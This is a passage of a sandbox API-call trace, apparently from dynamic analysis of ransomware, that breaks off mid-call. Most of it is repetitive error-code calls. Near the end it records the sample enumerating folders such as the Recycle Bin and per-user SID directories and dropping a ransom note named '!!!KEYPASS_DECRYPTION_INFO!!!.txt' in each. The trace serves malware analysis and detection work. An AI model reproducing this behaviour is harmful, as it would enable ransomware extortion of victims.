[0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.269] SetLastError (dwErrCode=0x0) [0235.269] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.270] SetLastError (dwErrCode=0x0) [0235.270] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.271] SetLastError (dwErrCode=0x0) [0235.271] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.272] GetLastError () returned 0x0 [0235.272] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.273] GetLastError () returned 0x0 [0235.273] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.274] GetLastError () returned 0x0 [0235.274] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f8f8, cchData=2 | out: lpLCData="0") returned 2 [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.275] SetLastError (dwErrCode=0x0) [0235.275] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.276] GetLastError () returned 0x0 [0235.276] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.277] GetLastError () returned 0x0 [0235.277] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f8e4, cchData=2 | out: lpLCData="0") returned 2 [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.278] SetLastError (dwErrCode=0x0) [0235.278] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.279] GetLastError () returned 0x0 [0235.279] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.280] GetLastError () returned 0x0 [0235.280] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f8d4, cchData=2 | out: lpLCData="0") returned 2 [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.281] GetLastError () returned 0x0 [0235.281] SetLastError (dwErrCode=0x0) [0235.284] SetLastError (dwErrCode=0x0) [0235.285] SetLastError (dwErrCode=0x0) [0235.285] WriteFile (in: hFile=0x33c, lpBuffer=0x2e4e560*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4de8c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e560*, lpNumberOfBytesWritten=0x2e4de8c*=0x3a4, lpOverlapped=0x0) returned 1 [0235.285] SetLastError (dwErrCode=0x0) [0235.285] SetLastError (dwErrCode=0x0) [0235.285] SetLastError (dwErrCode=0x0) [0235.285] WriteFile (in: hFile=0x33c, lpBuffer=0x2e4e560*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4de8c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e560*, lpNumberOfBytesWritten=0x2e4de8c*=0x2a, lpOverlapped=0x0) returned 1 [0235.285] SetLastError (dwErrCode=0x0) [0235.285] CloseHandle (hObject=0x33c) returned 1 [0235.374] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 0xc8a978 [0235.374] PathFindExtensionW (pszPath="C:\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.375] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0235.375] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0235.375] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3810 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.375] GetLastError () returned 0x3f0 [0235.375] SetLastError (dwErrCode=0x3f0) [0235.375] GetLastError () returned 0x3f0 [0235.375] SetLastError (dwErrCode=0x3f0) [0235.375] PathAppendW (in: pszPath="C:\\$Recycle.Bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\$Recycle.Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.375] PathFileExistsW (pszPath="C:\\$Recycle.Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.375] CreateFileW (lpFileName="C:\\$Recycle.Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\$recycle.bin\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f578, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x344 [0235.376] GetFileType (hFile=0x344) returned 0x1 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] SetLastError (dwErrCode=0x0) [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] SetLastError (dwErrCode=0x0) [0235.376] SetLastError (dwErrCode=0x0) [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.376] SetLastError (dwErrCode=0x0) [0235.376] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] SetLastError (dwErrCode=0x0) [0235.377] SetLastError (dwErrCode=0x0) [0235.377] SetLastError (dwErrCode=0x0) [0235.377] GetLastError () returned 0x0 [0235.377] SetLastError (dwErrCode=0x0) [0235.377] SetLastError (dwErrCode=0x0) [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.378] SetLastError (dwErrCode=0x0) [0235.378] SetLastError (dwErrCode=0x0) [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.378] SetLastError (dwErrCode=0x0) [0235.378] GetLastError () returned 0x0 [0235.378] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.379] GetLastError () returned 0x0 [0235.379] SetLastError (dwErrCode=0x0) [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.380] GetLastError () returned 0x0 [0235.380] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f5a8, cchData=2 | out: lpLCData="0") returned 2 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.381] SetLastError (dwErrCode=0x0) [0235.381] GetLastError () returned 0x0 [0235.382] SetLastError (dwErrCode=0x0) [0235.382] GetLastError () returned 0x0 [0235.382] SetLastError (dwErrCode=0x0) [0235.382] SetLastError (dwErrCode=0x0) [0235.382] GetLastError () returned 0x0 [0235.382] SetLastError (dwErrCode=0x0) [0235.382] SetLastError (dwErrCode=0x0) [0235.382] GetLastError () returned 0x0 [0235.382] SetLastError (dwErrCode=0x0) [0235.382] GetLastError () returned 0x0 [0235.382] SetLastError (dwErrCode=0x0) [0235.382] GetLastError () returned 0x0 [0235.382] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f594, cchData=2 | out: lpLCData="0") returned 2 [0235.382] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f584, cchData=2 | out: lpLCData="0") returned 2 [0235.382] WriteFile (in: hFile=0x344, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x3a4, lpOverlapped=0x0) returned 1 [0235.383] WriteFile (in: hFile=0x344, lpBuffer=0x2e4e210*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4db3c, lpOverlapped=0x0 | out: lpBuffer=0x2e4e210*, lpNumberOfBytesWritten=0x2e4db3c*=0x2a, lpOverlapped=0x0) returned 1 [0235.383] CloseHandle (hObject=0x344) returned 1 [0235.384] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0xc42808 [0235.384] FindNextFileW (in: hFindFile=0xc42808, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.384] FindNextFileW (in: hFindFile=0xc42808, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.384] PathFindExtensionW (pszPath="C:\\$Recycle.Bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.384] FindNextFileW (in: hFindFile=0xc42808, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.384] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.384] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.384] GetLastError () returned 0x3f0 [0235.385] PathAppendW (in: pszPath="C:\\$Recycle.Bin\\S-1-5-18\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\$Recycle.Bin\\S-1-5-18\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.385] PathFileExistsW (pszPath="C:\\$Recycle.Bin\\S-1-5-18\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.394] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\$recycle.bin\\s-1-5-18\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x348 [0235.399] GetFileType (hFile=0x348) returned 0x1 [0235.399] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.399] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.399] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.399] WriteFile (in: hFile=0x348, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.400] WriteFile (in: hFile=0x348, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.400] CloseHandle (hObject=0x348) returned 1 [0235.400] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xc8a9f8 [0235.400] FindNextFileW (in: hFindFile=0xc8a9f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.400] FindNextFileW (in: hFindFile=0xc8a9f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.400] PathFindExtensionW (pszPath="C:\\$Recycle.Bin\\S-1-5-18\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.400] FindNextFileW (in: hFindFile=0xc8a9f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.400] PathFindExtensionW (pszPath="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned=".ini" [0235.400] FindNextFileW (in: hFindFile=0xc8a9f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.401] FindNextFileW (in: hFindFile=0xc42808, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0235.401] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0235.401] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.401] GetLastError () returned 0x3f0 [0235.401] PathAppendW (in: pszPath="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0235.401] PathFileExistsW (pszPath="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0235.401] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\$recycle.bin\\s-1-5-21-1462094071-1423818996-289466292-1000\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x34c [0235.402] GetFileType (hFile=0x34c) returned 0x1 [0235.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0235.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0235.402] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0235.402] WriteFile (in: hFile=0x34c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0235.403] WriteFile (in: hFile=0x34c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0235.403] CloseHandle (hObject=0x34c) returned 1 [0235.403] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xc427c8 [0235.403] FindNextFileW (in: hFindFile=0xc427c8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.403] FindNextFileW (in: hFindFile=0xc427c8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.403] PathFindExtensionW (pszPath="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0235.403] FindNextFileW (in: hFindFile=0xc427c8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0235.403] PathFindExtensionW (pszPath="C:\\$Recycle.Bin\\S-1-5-21-1462094071-1423818996-289466292-1000\\desktop.ini") returned=".ini" [0235.403] FindNextFileW (in: hFindFile=0xc427c8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0235.403] FindNextFileW (in: hFindFile=0xc42808, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 0 [0235.404] FindNextFileW (in: hFindFile=0xc8a978, lpFindFileData=0x2e4fb64 | out: lpFindFileData=0x2e4fb64) returned 1 [0235.404] PeekMessageW (in: lpMsg=0x2e4f718, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f718) returned 0 [0235.404] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb7128 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0235.404] GetLastError () returned 0x3f0 [0235.404] PathAppendW (in: pszPath="C:\\Boot\\", 